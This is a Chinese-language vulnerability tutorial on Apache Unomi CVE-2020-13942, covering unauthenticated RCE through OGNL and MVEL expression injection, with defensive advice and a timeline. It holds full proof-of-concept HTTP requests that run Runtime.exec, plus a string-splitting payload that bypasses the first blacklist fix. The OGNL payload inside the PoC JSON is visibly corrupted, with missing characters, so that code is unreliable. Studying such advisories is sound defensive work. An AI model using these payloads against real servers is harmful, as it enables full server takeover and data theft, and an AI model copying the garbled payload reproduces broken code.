漏洞分析 - Apache Unomi RCE 第2篇 OGNL/MVEL注入(CVE-2020-13942)
字数 1179 2025-08-19 12:41:28
Apache Unomi RCE漏洞分析(CVE-2020-13942)教学文档
漏洞概述
CVE-2020-13942是Apache Unomi中的远程代码执行(RCE)漏洞,包含两种不同的注入方式:OGNL注入和MVEL注入。该漏洞允许攻击者通过发送包含恶意表达式的HTTP请求,在服务器上执行任意代码。
影响版本
- 受影响版本:Apache Unomi < 1.5.2(如1.5.1)
- 安全版本:Apache Unomi >= 1.5.2
漏洞评级
CVSS评分:10.0(最高危)
触发前提
- 无需身份验证
- 能够访问Unomi服务
漏洞背景
此漏洞是对CVE-2020-11975修复的绕过。之前的修复引入了SecureFilteringClassLoader,但它基于一个错误假设:所有类加载都必须通过ClassLoader.loadClass()方法。
漏洞技术分析
漏洞1:OGNL注入
绕过原理
通过反射API直接访问已存在的类(如Runtime),而不调用loadClass()方法,从而绕过安全限制。
攻击示例
(#runtimeclass = #this.getClass().forName("java.lang.Runtime"))
.(#runtimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0])
.(#runtimeobject = #runtimemethod.invoke(null,null))
.(#execmethod = #runtimeclass.getDeclaredMethods()
.{? #this.name.equals("exec")}
.{? #this.getParameters()[0].getType().getName().equals("java.lang.String")}
.{? #this.getParameters().length < 2}[0])
.(#execmethod.invoke(#runtimeobject,"calc.exe"))
PoC HTTP请求
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2_anystr"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\this.getParameters()[0].getType().getName().equals(\"java.lang.String\this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
漏洞2:MVEL注入
绕过原理
MVEL表达式可以直接使用已实例化的类(如Runtime),而不需要加载新类,从而绕过安全限制。
攻击示例
Runtime r = Runtime.getRuntime(); r.exec("calc.exe");
PoC HTTP请求
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564
{
"filters": [
{
"id": "myfilter1_anystr",
"filters": [
{
"condition": {
"parameterValues": {
"script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "test-demo-session-id_anystr"
}
漏洞危害
- 完全控制服务器:可以执行任意操作系统命令
- 内网横向移动:Unomi通常与内网中的其他系统集成
- 数据泄露:可以访问服务器上的所有数据
- 持久化攻击:可以安装后门或其他恶意软件
修复过程
第一次修复(不完整)
- 默认关闭公开端点的MVEL表达式执行
- 使用正则表达式过滤危险类(黑名单方式)
- 重定向危险类到String类
// MvelScriptExecutor.java中的部分修复代码
parserContext.addImport("Runtime", String.class);
parserContext.addImport("System", String.class);
parserContext.addImport("ProcessBuilder", String.class);
// ...其他危险类
第一次修复的绕过方法
通过字符串拼接和MVEL.eval绕过:
java.util.Map context = new java.util.HashMap();
org.mvel2.MVEL.eval(
\" Runt\"+ \"ime r = Run\"+ \"time.getRu\"+ \"ntime();r.exe\"+ \"c('calc.exe') \",
context
);
最终修复方案
- 引入基于白名单的表达式检查
- 只允许执行明确允许的表达式
- 白名单在启动时加载且不可变
// ExpressionFilter.java
public String filter(String expression) {
if (forbiddenExpressionPatterns != null &&
expressionMatches(expression, forbiddenExpressionPatterns)) {
logger.warn("Expression {} is forbidden by expression filter", expression);
return null;
}
if (allowedExpressionPatterns != null &&
!expressionMatches(expression, allowedExpressionPatterns)) {
logger.warn("Expression {} is not allowed by expression filter", expression);
return null;
}
return expression;
}
防御建议
-
立即升级到Apache Unomi 1.5.2或更高版本
-
如果无法立即升级,考虑以下临时措施:
- 限制对Unomi端点的网络访问
- 启用严格的输入验证
- 监控可疑的HTTP请求
-
长期建议:
- 避免在应用程序中使用动态表达式评估
- 使用静态表达式和参数化查询
- 实施最小权限原则运行服务
时间线
- 2020年6月24日:漏洞披露给Apache Unomi开发者
- 2020年8月20日:修复代码合并到master分支
- 2020年11月13日:包含修复的1.5.2版本发布
- 2020年11月17日:公开披露
总结
这个案例展示了:
- 黑名单防御方案的局限性
- 动态表达式评估的内在风险
- 安全修复需要全面考虑所有可能的攻击向量
- 白名单方法通常比黑名单更可靠
对于类似漏洞,最可靠的修复方法是完全移除对任意表达式评估的支持,转而使用静态表达式和动态参数的组合。